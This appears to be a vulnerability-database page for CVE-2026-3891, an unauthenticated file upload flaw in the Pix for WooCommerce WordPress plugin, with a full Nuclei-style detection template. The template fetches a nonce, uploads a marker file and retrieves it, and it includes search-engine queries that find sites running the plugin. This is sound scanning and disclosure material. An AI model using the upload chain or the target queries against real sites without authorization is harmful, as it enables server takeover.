Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload
CVE-2026-3891
Verified
Description
The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Severity
Critical
CVSS Score
9.8
Exploit Probability
25%
Affected Product
payment_gateway_pix_for_woocommerce
Published Date
July 15, 2026
Template Author
m4sh_wacker
CVE-2026-3891.yaml
id: CVE-2026-3891
info:
name: Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload
author: m4sh_wacker
severity: critical
description: |
The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
impact: |
Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
remediation: |
Update to the latest version of Pix for WooCommerce plugin.
reference:
- https://github.com/m4sh-wacker/CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit
- https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-3891
epss-score: 0.2506
epss-percentile: 0.97753
cwe-id: CWE-434
cpe: cpe:2.3:a:linknacional:payment_gateway_pix_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: linknacional
product: payment_gateway_pix_for_woocommerce
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/payment-gateway-pix-for-woocommerce"
fofa-query: body="/wp-content/plugins/payment-gateway-pix-for-woocommerce"
tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,file-upload,unauth,intrusive,rce
flow: http(1) && http(2) && http(3)
variables:
marker: "{{randstr}}"
fname: "{{rand_base(8)}}"
boundary_id: "{{rand_int(100000, 999999)}}"
http:
- id: step-1
method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
headers:
Content-Type: application/x-www-form-urlencoded
body: "action=lkn_pix_for_woocommerce_generate_nonce&action_name=lkn_pix_for_woocommerce_c6_settings_nonce"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, '\"success\":true')"
condition: and
internal: true
extractors:
- type: json
name: nonce
internal: true
json:
- ".data.nonce"
- id: step-2
raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}
------WebKitFormBoundary{{boundary_id}}
Content-Disposition: form-data; name="action"
lkn_pix_for_woocommerce_c6_save_settings
------WebKitFormBoundary{{boundary_id}}
Content-Disposition: form-data; name="_ajax_nonce"
{{nonce}}
------WebKitFormBoundary{{boundary_id}}
Content-Disposition: form-data; name="certificate_crt_path"; filename="{{fname}}.crt"
Content-Type: application/x-x509-ca-cert
{{marker}}
------WebKitFormBoundary{{boundary_id}}--
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Settings saved successfully')"
condition: and
internal: true
- id: step-3
method: GET
path:
- "{{BaseURL}}/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/{{fname}}.crt"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{marker}}"
- type: status
status:
- 200
# digest: 4a0a00473045022100d3ffdfac18f5a1d50723bbb21da3b7bb78ddd9a69a33b73349edeabc879f2b1102201b3fa43229b28720f4ce6aebd228543f2593702cf6b0686ef7f94448afd76f6a:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-3891
CWE ID:
cwe-434
Remediation Steps
Update to the latest version of Pix for WooCommerce plugin.